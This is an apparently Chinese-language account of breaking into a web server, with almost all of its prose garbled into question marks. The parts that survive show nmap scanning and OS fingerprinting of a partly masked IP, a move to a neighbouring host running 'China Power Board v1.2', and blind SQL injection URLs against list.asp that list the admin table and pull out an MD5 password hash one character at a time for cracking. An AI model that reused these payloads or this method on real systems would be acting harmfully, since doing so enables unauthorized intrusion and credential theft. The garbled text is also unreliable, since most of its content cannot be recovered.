??????????????????????????????????????????????????????????е????????????????????????????????????·????????????????????????????????Щ??????????????????????

?????????????????????????????IP???211.***.***.114??

???????????????nmap -v -sS -O 211.***.***.114????????????￡?

(The 1641 ports scanned but not shown below are in state: filtered)

Port State Service

80/tcp open http

Device type: general purpose

Running: FreeBSD 4.X

OS details: FreeBSD 4.7-RELEASE

????????????????ж????????κ?δ????????????????п?????????????

??????????????????????80?????????????freebsd??????????IPFW??????firewall????????????????????ε??????????????

??????濴????￡?????????????????????????е????????????html??棡????ζ?????sql???????????н??????????????????????httprint?????web????????apache??

????e?????????????80????????????ó?RetinaApacheChunked... ...

??????????????????????????????б?????????????????????????????????????????

???????????????????????????????????????????????????????????????????????????????????Χ??????????????????????????????????????????????????ε????????????211.***.***.114????????????240?????ε???????211.***.***.112??211.***.***.127????????y???????

?ó?nmap??????211.***.***.113??211.***.***.126???????????????????????????????????80????windows2000??????211.***.***.116????????????????????????????

http://211.***.***.116

??????????????????asp?????????????????????????????????????????????????????????????????????????????????汾?????Powered by China Power Board v1.2?????????CPB???????????????????v1.2?????????????????????????

??google?????????cpbv1.2?о?????￡??????????????ACCESS??????????????????????????admin???????????????????????????У?a_id admin password a_grade??????passoword?????md5???????????????????Щ????????????????????????

????

http://211.***.***.116/list.asp?l_id=1 and exists (select a_id from admin where a_id=2)

?????

Microsoft OLE DB Provider for ODBC Drivers ???? ??80004005??

[Microsoft][ODBC Microsoft Access Driver] ??????????????????μ?????

/list.asp????145

??Щ?????????????211.***.***.116???cpb????????????о?????????????????????????????admin?????????a_id?2?????????????????鷳??

???????????????????????????????????

????

http://211.***.***.116/list.asp?l_id=1 and exists (select admin from admin where

admin=admin)

?????

Microsoft OLE DB Provider for ODBC Drivers ???? ??80004005??

[Microsoft][ODBC Microsoft Access Driver] ??????????????????μ?????

/list.asp????145

????????????????????????????admin??

?????????????????????admin??????????????????????????????admin????admin????????????????????????????2?password??????

????

http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left

(password??1)=??a??)

????????????????????棬????????????MD5?????????????λ?????a????

?????MD5?????????????16λ????λ?????16???????????????????2?256?μ????????

??????

http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left

(password??1)=??1??)

?????

Microsoft OLE DB Provider for ODBC Drivers ???? ??80004005??

[Microsoft][ODBC Microsoft Access Driver] ??????????????????μ?????

/list.asp????145

?????????λ???1????

?????????ε????λ??????????????????????19a7e9898008f09e?????????????????Щ????????????????д???????????????????????

?????????????MD5???????????DeMd5??????????????????19a7e9898008f09e???????????????????????????????????